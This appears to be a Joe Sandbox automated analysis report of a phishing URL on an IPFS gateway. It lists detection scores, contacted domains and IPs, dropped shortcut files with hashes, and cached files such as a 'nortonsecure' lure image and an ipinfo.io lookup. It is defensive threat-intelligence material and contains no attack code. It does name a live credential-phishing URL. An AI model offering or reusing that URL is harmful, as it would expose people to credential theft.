Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com	0%	Avira URL Cloud	safe
https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com	20%	Virustotal		Browse
https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Link
jsdelivr.map.fastly.net	0%	Virustotal	Browse
cloudflare-ipfs.com	14%	Virustotal	Browse
w6clx3bra20i.wpeproxy.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/	20%	Virustotal		Browse
https://getbootstrap.com)	0%	Avira URL Cloud	safe
https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/	0%	Avira URL Cloud	safe
https://cloudflare-ipfs.com/ipfs/img/bg-image.jpg	0%	Avira URL Cloud	safe
about:blank	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
stackpath.bootstrapcdn.com	104.18.10.207	true	false		high
jsdelivr.map.fastly.net	151.101.129.229	true	false	0%, Virustotal, Browse	unknown
code.jquery.com	151.101.130.137	true	false		high
cdnjs.cloudflare.com	104.17.24.14	true	false		high
ipinfo.io	34.117.186.192	true	false		high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false		high
www.domain.com	104.18.42.197	true	false		high
w6clx3bra20i.wpeproxy.com	141.193.213.20	true	false	0%, Virustotal, Browse	unknown
cloudflare-ipfs.com	104.17.64.14	true	false	14%, Virustotal, Browse	unknown
www.google.com	142.251.111.99	true	false		high
cdn.jsdelivr.net	unknown	unknown	false		high
www.fastmail.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.domain.com/	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/	false	20%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/jquery.session@1.0.0/jquery.session.min.js	false		high
https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com	true		unknown
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://ipinfo.io/json	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://cloudflare-ipfs.com/ipfs/img/bg-image.jpg	false	Avira URL Cloud: safe	unknown
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://www.google.com/s2/favicons?sz=64&domain_url=https://www.domain.com	false		high
about:blank	false	Avira URL Cloud: safe	low
https://www.fastmail.com/static/favicons/icon-32x32.png	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/missingauth	chromecache_76.1.dr, chromecache_77.1.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_81.1.dr, chromecache_85.1.dr	false		high
https://getbootstrap.com)	chromecache_85.1.dr	false	Avira URL Cloud: safe	low
https://github.com/twbs/bootstrap/blob/main/LICENSE)	chromecache_90.1.dr	false		high
https://www.jsdelivr.com/using-sri-with-dynamic-files	chromecache_80.1.dr	false		high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_81.1.dr, chromecache_85.1.dr	false		high
http://opensource.org/licenses/MIT).	chromecache_88.1.dr	false		high
https://getbootstrap.com/)	chromecache_81.1.dr, chromecache_90.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
104.18.10.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
151.101.129.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
172.253.115.106	unknown	United States	15169	GOOGLEUS	false
141.193.213.20	w6clx3bra20i.wpeproxy.com	United States	396845	DV-PRIMARY-ASN1US	false
104.18.42.197	www.domain.com	United States	13335	CLOUDFLARENETUS	false
104.17.64.14	cloudflare-ipfs.com	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.251.111.99	www.google.com	United States	15169	GOOGLEUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1417021
Start date and time:	2024-03-28 14:14:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@15/37@24/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.253.62.94, 142.251.16.138, 142.251.16.102, 142.251.16.101, 142.251.16.113, 142.251.16.100, 142.251.16.139, 172.253.115.84, 34.104.35.123, 142.251.163.95, 142.251.16.95, 172.253.63.95, 142.251.179.95, 142.250.31.95, 172.253.115.95, 172.253.62.95, 142.251.167.95, 172.253.122.95, 142.251.111.95, 142.251.16.94, 172.253.63.104, 172.253.63.103, 172.253.63.147, 172.253.63.99, 172.253.63.106, 172.253.63.105, 172.253.122.105, 172.253.122.104, 172.253.122.147, 172.253.122.99, 172.253.122.103, 172.253.122.106, 142.251.167.101, 142.251.167.113, 142.251.167.138, 142.251.167.139, 142.251.167.102, 142.251.167.100
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ajax.googleapis.com, clientservices.googleapis.com, t0.gstatic.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com, www.gstatic.com, firebasestorage.googleapis.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Mar 28 12:14:51 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9823317099639532
Encrypted:	false
SSDEEP:	48:8wdNTVJ9EH8idAKZdA1FehwiZUklqehsJy+3:8mnJBJy
MD5:	40C90FF047F2AE20373A65C1FD7FB568
SHA1:	79923257CB2ED118D00541B08D29FF6E05FEE32D
SHA-256:	6F8B30B3B8AB70201044B2B578775A0F566B5CEDA33266D35582360816BB9AFE
SHA-512:	115A5F47F841BD3B95C92C5D0F26D09AF9DC41E37885131D776E4404D873FF3DD7F88C209C8399E93ECD2E98F2BD4628B5116C3C57171F47E8F85BA5F7DE30CE
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....u......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I\|X.i....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|X.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|X.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|X.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|X.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........E........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Mar 28 12:14:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9949278513020334
Encrypted:	false
SSDEEP:	48:87dNTVJ9EH8idAKZdA1seh/iZUkAQkqehxJy+2:8zn/9Q+Jy
MD5:	53CD2F50938FF56F23835DAB878B9221
SHA1:	2DA4EA80254340B207B84929532A605C84EFC0E1
SHA-256:	EC65198561C8A2C71CA6C58E8D7D70C4D0D515F9E89FA7F6323AFE825C5BF8B7
SHA-512:	A9E544F277DA9DDD35A95FE896EB47472264D64C3519AEC3028467CB1A9CCD9173746FC54F37A632FB5C0A6F37A34B67B6039F077D2D27B98ABAF6CBBAB97DEE
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....c......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I\|X.i....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|X.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|X.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|X.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|X.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........E........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.004229709559853
Encrypted:	false
SSDEEP:	48:8udNTVJAH8idAKZdA14meh7sFiZUkmgqeh7srJy+BX:80nZndJy
MD5:	7AD31D0BFEA34E5B9E2CD1012DE8B04A
SHA1:	085EFEBAF1ED936DAF1CEC6049591B308D15CE8F
SHA-256:	4BEE5C565704B8098BCBCADF391B0C81C68C7A3D1533D3DC89ED551D5B7BAD13
SHA-512:	BD59A8EF26E584A581539E01D0B959A2FB02E7500906083E95C9272EA08C8C8F3CFF0C765FFF68238E9476B9E2C45844E8C7699712DCB032149B7A5D038A6EE3
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I\|X.i....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|X.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|X.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|X.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........E........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Mar 28 12:14:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9959265123574745
Encrypted:	false
SSDEEP:	48:8YdNTVJ9EH8idAKZdA1TehDiZUkwqeh1Jy+R:8enMjJy
MD5:	6080FDAB8E6FDF588AF1D253F2E5120D
SHA1:	B0864A0A99421C6B5346421AA8DEC8EB3DEF4112
SHA-256:	E345BC4861FBD9B6A80F5F85FED8A2B06329E8D1DC4A706FC36EEA9351F53859
SHA-512:	915B81372C66160F046C79A8FCCEF9E701B774C012E3ABBB714127DABD1C5EF904E5F5B36250AE31B7289DF2E133B12F2E59F7FE4A389242E14397FE6650D822
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......\|.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I\|X.i....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|X.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|X.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|X.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|X.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........E........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Mar 28 12:14:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.984876143566629
Encrypted:	false
SSDEEP:	48:8bdNTVJ9EH8idAKZdA1dehBiZUk1W1qehnJy+C:8Tnc9HJy
MD5:	A39FB5DD6E1AEEAA684C7456A03E595B
SHA1:	90B1DF595E5B77ED84011777B88B59A91C20A878
SHA-256:	D3E65D1A56DF3E75B72485995DB61FF9885E90FCC51726FACA35A6108E750366
SHA-512:	1F05DA396816A45D067307169923BE8717AF4E5F228BEA7DBE7F838989252DD668B5370B78496CF71747A7B531880391AE996E144869F817221FF64ED4A77707
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,..........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I\|X.i....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|X.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|X.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|X.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|X.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........E........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Mar 28 12:14:50 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.990347529909748
Encrypted:	false
SSDEEP:	48:8HbdNTVJ9EH8idAKZdA1duTeehOuTbbiZUk5OjqehOuTbdJy+yT+:8HTnuTfTbxWOvTbdJy7T
MD5:	EC5F0C8D4135F9DCE03E535F20CE92DC
SHA1:	4EFF131AAB126A8A4CEAECA524D8ACBB57886DC7
SHA-256:	343BFF0F012148E0F5396811B0D35EE4757BCB7DA31A25528EFE780B6F24D402
SHA-512:	A60CB35AD5C8C6F529BAE492E18462E78993DFF65B156DAF4CB1EEE43D5E846CF55CA572B22BD13E1A1471399FDEDF90D7A353F7ED8B8B536A19BFB3A6D55B02
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....oDt.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I\|X.i....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V\|X.i....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V\|X.i....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V\|X.i..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V\|X.i...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........E........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 296 x 170, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7153
Entropy (8bit):	7.9544230284970165
Encrypted:	false
SSDEEP:	96:oY3ZQ/EI22r+95u1wigWnXsefiO53tNpoi0QSp+zJ4MVaJmWbWSuh8fvgsm3mkSg:F3ZQpI9o/gWce6yXOtKPv5angs2QuxfF
MD5:	AF1E229D71A913C5D1FE0CA79A713459
SHA1:	D6AF9CD928216397321060A524F8B7678C99688B
SHA-256:	A67B6ABD3F24B3B25A023F5EC1AE6610D2956B1AA5C41D266C16AD9309B9D319
SHA-512:	C5E7CAC2867D5BF442F591BF0620DD976525451EBFB8F56B2345AD6BB720A80EDE787156D734E3C59601DE16458200BDB0D4865BC9974433908C8ACC9A661EFF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...(.........)."L.../PLTE......#. ............................... ............................>/+,.....7EBC_]]..C734...KII.........../................:.....!............}.USSsrr..!....J.....a..Z.j...2;89.........7..\|.. O?..........!..4+.........Y.>m..).Z\|.....!$1../..?.....k..o"..o)# .u.tZ...3&......7k.Z.PwUq.>...}IDATx...{.6..)."..4I..)K.I..U../.'.dr[;.gn:.iz.F..7\.$6j.S.3..'.D........ M[h...Zh...zj..=.=<../--..&.......S..s..R...5Fv........72...0,j.g>V..8.... .\..%?..........S......e.....^/....~.V.....5.G-.\aP...(.o.?....pU..g...i.....K.K.i...Nq.<.../{...S...3.......1....^GU.~...t\|....U.......7y..v}...F...N..y.O..7..5 .jaP..\|_x}..V.r....:...P. Q.......JC.. ...uPG...2X.......X.<.WWV-...WV_......}....i.?..W..1.(.O?.<...h.....c..J...j`..eY.o.]..1...jR..W?.X.I1l{%........r..,....\...5i;..>9&...B..T.H.m..M....O.YU..Gq.F..,.0%&dU...T..:.]..?.....Ren..bDY..+B.b.....:.<.o.Q..;#I...z.j..L.......=.A.._......Au.......

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 296 x 170, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	7153
Entropy (8bit):	7.9544230284970165
Encrypted:	false
SSDEEP:	96:oY3ZQ/EI22r+95u1wigWnXsefiO53tNpoi0QSp+zJ4MVaJmWbWSuh8fvgsm3mkSg:F3ZQpI9o/gWce6yXOtKPv5angs2QuxfF
MD5:	AF1E229D71A913C5D1FE0CA79A713459
SHA1:	D6AF9CD928216397321060A524F8B7678C99688B
SHA-256:	A67B6ABD3F24B3B25A023F5EC1AE6610D2956B1AA5C41D266C16AD9309B9D319
SHA-512:	C5E7CAC2867D5BF442F591BF0620DD976525451EBFB8F56B2345AD6BB720A80EDE787156D734E3C59601DE16458200BDB0D4865BC9974433908C8ACC9A661EFF
Malicious:	false
Reputation:	low
URL:	https://firebasestorage.googleapis.com/v0/b/ddlink-3d359.appspot.com/o/nortonsecure.png?alt=media&token=9ce0345e-9467-420f-8e31-e4ceb195654a
Preview:	.PNG........IHDR...(.........)."L.../PLTE......#. ............................... ............................>/+,.....7EBC_]]..C734...KII.........../................:.....!............}.USSsrr..!....J.....a..Z.j...2;89.........7..\|.. O?..........!..4+.........Y.>m..).Z\|.....!$1../..?.....k..o"..o)# .u.tZ...3&......7k.Z.PwUq.>...}IDATx...{.6..)."..4I..)K.I..U../.'.dr[;.gn:.iz.F..7\.$6j.S.3..'.D........ M[h...Zh...zj..=.=<../--..&.......S..s..R...5Fv........72...0,j.g>V..8.... .\..%?..........S......e.....^/....~.V.....5.G-.\aP...(.o.?....pU..g...i.....K.K.i...Nq.<.../{...S...3.......1....^GU.~...t\|....U.......7y..v}...F...N..y.O..7..5 .jaP..\|_x}..V.r....:...P. Q.......JC.. ...uPG...2X.......X.<.WWV-...WV_......}....i.?..W..1.(.O?.<...h.....c..J...j`..eY.o.]..1...jR..W?.X.I1l{%........r..,....\...5i;..>9&...B..T.H.m..M....O.YU..Gq.F..,.0%&dU...T..:.]..?.....Ren..bDY..+B.b.....:.<.o.Q..;#I...z.j..L.......=.A.._......Au.......

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	271
Entropy (8bit):	4.904670261818847
Encrypted:	false
SSDEEP:	6:0wcmhS95PXr5c//feZVXppH4hW1CRW35jY:nSTi/XcaWV5k
MD5:	083F787566A2AAEC5FC34AF0E263649C
SHA1:	C5680A5F0BDE1AECBF5C8227DCBB3DBB8FE84E16
SHA-256:	C71EF6C5F254E4019CEE6704CC5D8A45DAF96DBAA9668EF75A09BE72CEFBD061
SHA-512:	73348E5EF0C7498858232B818A254312F1D44D31BD86D7B54037BBE4866750B67EA2F2AE3460E9870F8299B6D34A8514B3396425CC378F07A643234294B45420
Malicious:	false
Reputation:	low
URL:	https://ipinfo.io/json
Preview:	{. "ip": "102.165.48.43",. "city": "Washington",. "region": "Washington, D.C.",. "country": "US",. "loc": "38.8951,-77.0364",. "org": "AS174 Cogent Communications",. "postal": "20004",. "timezone": "America/New_York",. "readme": "https://ipinfo.io/missingauth".}

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	271
Entropy (8bit):	4.904670261818847
Encrypted:	false
SSDEEP:	6:0wcmhS95PXr5c//feZVXppH4hW1CRW35jY:nSTi/XcaWV5k
MD5:	083F787566A2AAEC5FC34AF0E263649C
SHA1:	C5680A5F0BDE1AECBF5C8227DCBB3DBB8FE84E16
SHA-256:	C71EF6C5F254E4019CEE6704CC5D8A45DAF96DBAA9668EF75A09BE72CEFBD061
SHA-512:	73348E5EF0C7498858232B818A254312F1D44D31BD86D7B54037BBE4866750B67EA2F2AE3460E9870F8299B6D34A8514B3396425CC378F07A643234294B45420
Malicious:	false
Reputation:	low
Preview:	{. "ip": "102.165.48.43",. "city": "Washington",. "region": "Washington, D.C.",. "country": "US",. "loc": "38.8951,-77.0364",. "org": "AS174 Cogent Communications",. "postal": "20004",. "timezone": "America/New_York",. "readme": "https://ipinfo.io/missingauth".}

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	40
Entropy (8bit):	4.343942707918267
Encrypted:	false
SSDEEP:	3:BG3+Ts/pY1CYYn:Y6sxn
MD5:	B8F04B625C0E10C9E66A6EC0A16E1896
SHA1:	22A6ADFA6A65F76580AD3C63B6A212E755072D52
SHA-256:	9BA7EB4018EF159411C0DCEC7E4C7826F5E14321911A59BE82972D2AE10E9022
SHA-512:	68DBD65DD54873DA3067CEC38D0B0056EF73B212C78B802FE1186FAB76C1F736E518E8B411ACCBF5D7270802D63A883AEA59ABB17609402FEAC316C0BB1A94AA
Malicious:	false
Reputation:	low
